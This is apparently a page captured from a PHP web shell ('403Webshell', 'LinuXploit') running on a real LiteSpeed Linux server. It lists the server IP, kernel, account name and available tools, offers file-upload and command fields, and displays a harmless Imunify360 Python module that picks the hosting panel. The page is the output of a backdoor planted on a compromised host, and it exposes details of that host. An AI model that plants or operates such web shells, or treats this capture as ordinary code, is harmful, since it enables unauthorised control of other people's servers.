403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.142
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/subsys/panels/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/subsys/panels/hosting_panel.py
from defence360agent.application.determine_hosting_panel import (
    get_hosting_panel,
)
from defence360agent.subsys.panels.base import AbstractPanel
from defence360agent.utils import importer


def _default_panel_root() -> str:
    """Use im360 panel classes when the im360 package is installed."""
    if importer.exists("im360"):
        return "im360"
    return "defence360agent"


_panel_root = _default_panel_root()
panel = None


def set_panel_root(root_module: str) -> None:
    global _panel_root, panel
    _panel_root = root_module
    panel = None  # reset so next HostingPanel() call uses new root


def HostingPanel(check_for_changes=False) -> AbstractPanel:
    """
    Return the hosting panel singleton.

    Panels are loaded from ``_panel_root`` which auto-detects the correct
    package (``im360`` when installed, ``defence360agent`` otherwise).
    Can be overridden via ``set_panel_root``.
    """
    global panel

    if panel is None or check_for_changes:
        panel = get_hosting_panel(_panel_root)
    return panel

Youez - 2016 - github.com/yon3zu
LinuXploit